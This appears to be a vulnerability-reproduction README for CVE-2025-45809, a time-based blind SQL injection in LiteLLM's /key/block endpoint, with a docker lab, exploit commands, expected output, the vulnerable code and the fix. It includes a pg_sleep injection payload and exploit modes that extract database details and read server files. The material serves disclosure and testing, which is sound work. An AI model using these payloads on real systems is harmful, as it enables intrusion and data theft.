
脆弱性を個別に再現するコード
/key/block (Time-Based Blind SQLi)LiteLLM v1.65.4(v1.81.0 より前のバージョン)の
/key/blockおよび/key/unblockエンドポイント のkeyパラメータには SQLインジェクションの脆弱性 が存在します。攻撃者は時間ベースのブラインドSQLインジェクション技術を 利用してデータベースの内容を窃取したり、サーバーのファイルを読み取ったりすることができます。
| フィールド | 値 |
|---|---|
| CVE | CVE-2025-45809 |
| GHSA | GHSA-cgmh-xxmq-hp46 |
| CVSS v3.1 | 5.4 (MEDIUM) — AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N |
| CWE | CWE-89 (SQL Injection) |
| 影響を受けるバージョン | LiteLLM < 1.81.0(v1.65.4 で確認) |
| 修正バージョン | v1.81.0+(パラメータ化クエリによる修正) |
| 公開日 | 2025-07-03 |
| 発見者 | shadia0(Huntr バウンティ経由) |
| リンク | NVD • Huntr • Snyk |
LiteLLM の /key/block および /key/unblock エンドポイントは、API キーのブロック/ブロック解除を管理するために使用されます。
これらのエンドポイントは key パラメータを処理する際、ユーザー入力を SQL クエリ文字列に直接連結し(f-string
によるフォーマット)、パラメータ化クエリを使用していないため、SQLインジェクションの脆弱性が発生します。
| エンドポイント | メソッド | インジェクションパラメータ |
|---|---|---|
/key/block | POST | key (JSON body) |
/key/unblock | POST | key (JSON body) |
pg_sleep() 関数を利用し、応答時間の差でインジェクションを確認しますpg_read_file() 関数を利用してサーバーのファイルを読み取ります# 1. 启动 PostgreSQL + 脆弱版 LiteLLM
docker compose up -d
# 2. 安装依赖
pip install -r requirements.txt
# 3. 确认 SQL 注入(检测 pg_sleep 延时)
python3 exploit/exploit.py --mode check --target http://localhost:4000
注意:初回の exploit 実行時には、自動的に
/key/generateを呼び出して API キーを作成し、 Prisma によるKeyデータベーステーブルの作成をトリガーします。これは/key/blockエンドポイントが 脆弱性のある SQL クエリパスに到達するために必要な前提条件です。 この手順をスキップすると、/key/blockはKeyテーブルが初期化されていないため直接 401 を返し、 インジェクションが発動しません。
python3 exploit/exploit.py --mode extract-user --target http://localhost:4000
python3 exploit/exploit.py --mode extract-version --target http://localhost:4000
python3 exploit/exploit.py --mode file-read --target http://localhost:4000
docker compose --profile fixed up -d python3 exploit/exploit.py --mode check --target http://localhost:4001 --fixed
### 期待される出力
**インジェクション確認 (--mode check):**
Target : http://localhost:4000 Endpoint : /key/block
[*] Step 1: Measuring baseline response time... Baseline: 0.01s (HTTP 401)
[*] Step 2: Testing basic injection (SQL comment)... Comment test: 0.00s (HTTP 200)
[*] Step 3: Testing pg_sleep(3) injection... pg_sleep(3): 3.01s (N/A)
[*] Step 4: Testing pg_sleep(5) injection... pg_sleep(5): 5.01s (N/A)
[*] Analysis: Baseline time: 0.01s pg_sleep(3): 3.01s (expected ~3s) pg_sleep(5): 5.01s (expected ~5s)
[🔥] VULNERABILITY CONFIRMED! pg_sleep() injection successful! Response increased from 0.01s to 5.01s
**修正版でのインジェクション拒否:**
Target : http://localhost:4001 Endpoint : /key/block
[*] Step 1: Measuring baseline response time... Baseline: 0.00s (HTTP 400)
[*] Step 2: Testing basic injection (SQL comment)... Comment test: 0.00s (HTTP N/A)
[*] Step 3: Testing pg_sleep(3) injection... pg_sleep(3): 0.00s (N/A)
[*] Step 4: Testing pg_sleep(5) injection... pg_sleep(5): 0.00s (N/A)
[*] Analysis: Baseline time: 0.00s pg_sleep(3): 0.00s (expected ~3s) pg_sleep(5): 0.00s (expected ~5s)
[+] Fixed version: No time delay detected (expected).
---
## 技術的詳細
### 脆弱性のあるコード
LiteLLM v1.65.4 では、`/key/block` エンドポイントの処理ロジックは以下のようになっています(簡略版):
```python
# 漏洞代码 (v1.65.4) — 使用 f-string 拼接 SQL
@app.post("/key/block")
async def block_key(key_data: dict, user_api_key_dict=Depends(...)):
key = key_data.get("key", "")
# 直接拼接用户输入到 SQL 查询中!
query = f"UPDATE keys SET blocked=true WHERE key='{key}'"
await database.execute(query)
return {"status": "success"}
攻撃者は key パラメータに PostgreSQL の時間遅延関数をインジェクトします:
' OR (SELECT pg_sleep(5)) IS NULL --
連結後の SQL は次のようになります:
UPDATE keys SET blocked=true WHERE key='' OR (SELECT pg_sleep(5)) IS NULL --'
| テストシナリオ | 応答時間 | 結果 |
|---|---|---|
| 正常なリクエスト (key=test) | ~0.01s | ベースライン |
| pg_sleep(3) | ~3.01s | インジェクション有効 |
| pg_sleep(5) | ~5.01s | インジェクション確認 |
LiteLLM v1.65.4 は Prisma ORM を使用してデータベースを管理します。Key テーブルは遅延作成方式を採用しており、
最初に /key/generate を呼び出して API キーを作成するまで、Key テーブルは PostgreSQL 上に存在しません。
このため /key/block エンドポイントのキー検証クエリ(WHERE key='{input}')は、インジェクションの脆弱性がある
SQL コードパスに到達する前に、テーブルが存在しないため 401 を返します。
現在の PoC はこの問題を自動的に処理しています:exploit スクリプトはインジェクションペイロードを送信する前に、先に
/key/generate を呼び出して API キーを作成し、データベーステーブルの準備ができていることを確認します。
注意:コンテナの初回起動時は約 30〜60 秒の待機が必要です(Prisma CLI のインストール + データベースの初期化)。ログに
Uvicorn running on http://0.0.0.0:4000が表示されてから exploit を実行してください。
CVE-2025-45809/
├── README.md # This file
├── docker-compose.yml # PostgreSQL + vulnerable/fixed LiteLLM
├── litellm_config.yaml # LiteLLM config with DB connection
├── requirements.txt # Python dependencies
├── litellm-vuln/
│ └── Dockerfile # pip install "litellm[proxy]==1.65.4" + prisma + nodejs
├── exploit/
│ ├── exploit.py # Main exploit script
│ └── payload.py # SQL injection payload builder
├── docs/
│ └── advisory.md
└── screenshots/
└── README.md
v1.81.0 で修正され、f-string による連結の代わりにパラメータ化クエリ(プリペアドステートメント)を使用するようになりました:
# 修复后 — 使用参数化查询
query = "UPDATE keys SET blocked=true WHERE key=:key"
await database.execute(query, {"key": key}) # 参数安全绑定
key パラメータに対して厳格な入力検証を実施するDisclaimer: This content is provided for educational purposes and authorized security testing only.